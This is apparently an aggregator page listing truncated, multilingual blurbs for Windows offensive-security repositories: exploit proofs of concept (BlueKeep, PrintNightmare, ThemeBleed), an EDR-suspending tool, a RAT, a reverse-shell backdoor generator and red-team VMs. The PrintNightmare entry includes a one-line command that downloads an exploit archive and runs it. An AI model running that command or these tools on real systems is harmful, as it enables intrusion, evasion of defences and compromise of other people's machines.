dns_client_fuzzing

Fuzzing del client DNS di Microsoft Windows Dopo la scoperta della vulnerabilità critica CVE-2026-41096, ho deciso di provarci...

CVE-2019-0708

CVE-2019-0708 BlueKeep POC RCE pre-autenticazione su Windows7 Questo repository dimostra il bug di esecuzione di codice remoto in Windows Remote Desktop Services RDS. Qui sono presenti un codice POC e un rapporto tecnico sulla vulnerabilità BlueKeep, che abbiamo sviluppato in precedenza. NOTA: Il...

WIndows-7-automated-exploitation-using-metasploit-framework-

Dieses Repository hat keine README-Datei...

EDR-Freeze

EDR-Freeze Dies ist ein Tool, das die Software-Sicherheitslücke von WerFaultSecure ausnutzt, um die Prozesse von EDRs und Antimalware anzuhalten, ohne die BYOVD-Angriffsmethode Bring Your Own Vulnerable Driver verwenden zu müssen. EDR-Freeze arbeitet im Benutzermodus, sodass Sie keine zusätzliche...

themebleed

ThemeBleed Proof-of-Concept für CVE-2023-38146 „ThemeBleed“ root@kitploit: Usage: ThemeBleed.exe Commands: server - Runs the server maketheme - Generates a .theme file referencing the specified host makethemepack - Generates a .themepack file referencing the specified host Datendateien Die...

PNCVE-Win10-20H2-Exploit

PrintNightmare-CVE-Win10-20H2-Exploit Para executar este exploit no Windows: Execute este comando único: curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat NOTA: Isso funcionará apenas uma vez por...

kraken

Warning I have been reviewing the Kraken-Client code and since this was my first ever react app, its old, clunky and it needs major improvement the server needs some work too. In the next few weeks/months I will do my best to rewrite it in either updated React or in another framework. Please feel...

flare-vm

FLARE-VM Benvenuti in FLARE-VM - una raccolta di script di installazione software per sistemi Windows che consente di configurare e gestire facilmente un ambiente di reverse engineering su una macchina virtuale VM. FLARE-VM è stato progettato per risolvere il problema della curatela degli strumen...

ghost

ghost ghost é um RAT leve que dá ao servidor/atacante acesso remoto total ao interpretador de linha de comando do usuário cmd.exe. Eles podem executar comandos silenciosamente sem que o cliente/zumbi perceba. O servidor/atacante também tem a capacidade de baixar e executar arquivos no computador ...

ctftool

CTFTOOL Just want to test the SYSTEM exploit? Click here. An Interactive CTF Exploration Tool This is ctftool, an interactive command line tool to experiment with CTF, a little-known protocol used on Windows to implement Text Services. This might be useful for studying Windows internals, debuggin...

ctftool

CTFTOOL Vuoi solo testare l'exploit SYSTEM? Clicca qui. Uno strumento interattivo per l'esplorazione di CTF Questo è ctftool, uno strumento interattivo da riga di comando per sperimentare con CTF, un protocollo poco conosciuto utilizzato su Windows per implementare i servizi di testo. Può essere...

qlikview-poc-CVE-2024-29863

Applicazione interessata: QlikView Piattaforma: Windows Problema: Escalation dei privilegi locale tramite l'installer MSI race condition di DLL hijacking Scoperto e segnalato da: Pawel Karwowski e Julian Horoszkiewicz Eviden Red Team Dettagli: Sui sistemi con QuikView12 installato, è possibile pe...

ff-password-exporter

FF Password Exporter It can be difficult to export your passwords from Firefox. Since version 57 of Firefox Quantum existing password export addons no longer work. Mozilla provides no other official alternatives. FF Password Exporter makes it quick and easy to export all of your passwords from...

aclpwn.py

aclpwn.py Aclpwn.py is a tool that interacts with BloodHound to identify and exploit ACL based privilege escalation paths. It takes a starting and ending point and will use Neo4j pathfinding algorithms to find the most efficient ACL based privilege escalation path. Aclpwn.py is similar to the...

commando-vm

Was ist CommandoVM? Complete Mandiant Offensive VM „CommandoVM“ ist eine umfassende und anpassbare Windows-basierte Sicherheitsdistribution für Penetrationstests und Red Teaming. CommandoVM wird mit einer Vielzahl von Offensiv-Tools ausgeliefert, die in Kali Linux nicht enthalten sind, und...

Zerodoor

ZeroDoor Ein Skript, das faul geschrieben wurde, um Reverse-Shell-Backdoors unterwegs zu generieren, wann immer Sie es brauchen, ohne Aufwand für Ihre täglichen Penetrationstests. Diese Backdoors sind kein James-Bond-Hightech-Zeug, sondern eher einfache, um Überausbeutung und begrenzte Fähigkeite...

wafpass

WAFPASS root@kitploit: ██╗ ██╗ █████╗ ███████╗██████╗ █████╗ ███████╗███████╗ ██║ ██║██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔════╝██╔════╝ ██║ █╗ ██║███████║█████╗ ██████╔╝███████║███████╗███████╗ ██║███╗██║██╔══██║██╔══╝ ██╔═══╝ ██╔══██║╚════██║╚════██║ ╚███╔███╔╝██║ ██║██║ ██║ ██║ ██║███████║███████...

IHxExec

IHxExec POC per eseguire codice arbitrario per conto di un altro utente. Puoi leggere ulteriori informazioni sulla tecnica qui: https://cicada-8.medium.com/process-injection-is-dead-long-live-ihxhelppaneserver-af8f20431b5d https://www.youtube.com/watch?v=bK3ufqZxkxc Nota il video allegato:...

CVE-2024-38063

CVE-2024-38063 Visão Geral Em agosto de 2024, a Microsoft lançou uma correção para uma vulnerabilidade de Execução Remota de Código RCE no TCP/IP do Windows. Alguns pesquisadores já publicaram Provas de Conceito PoC para esta vulnerabilidade e, aproximadamente ao mesmo tempo, os pesquisadores da...

HITCON-2023-Demo-CVE-2023-20562

HITCON 2023 Demo CVE-2023-20562 Descrizione Questa dimostrazione si è svolta a HITCON 2023 a Taiwan. La demo evidenzia lo sfruttamento di AMDCpuProfiler.sys all'interno di AMD μProf. Attivando una scrittura arbitraria sul token EPROCESS, si ottiene l'escalation dei privilegi a livello SYSTEM. La...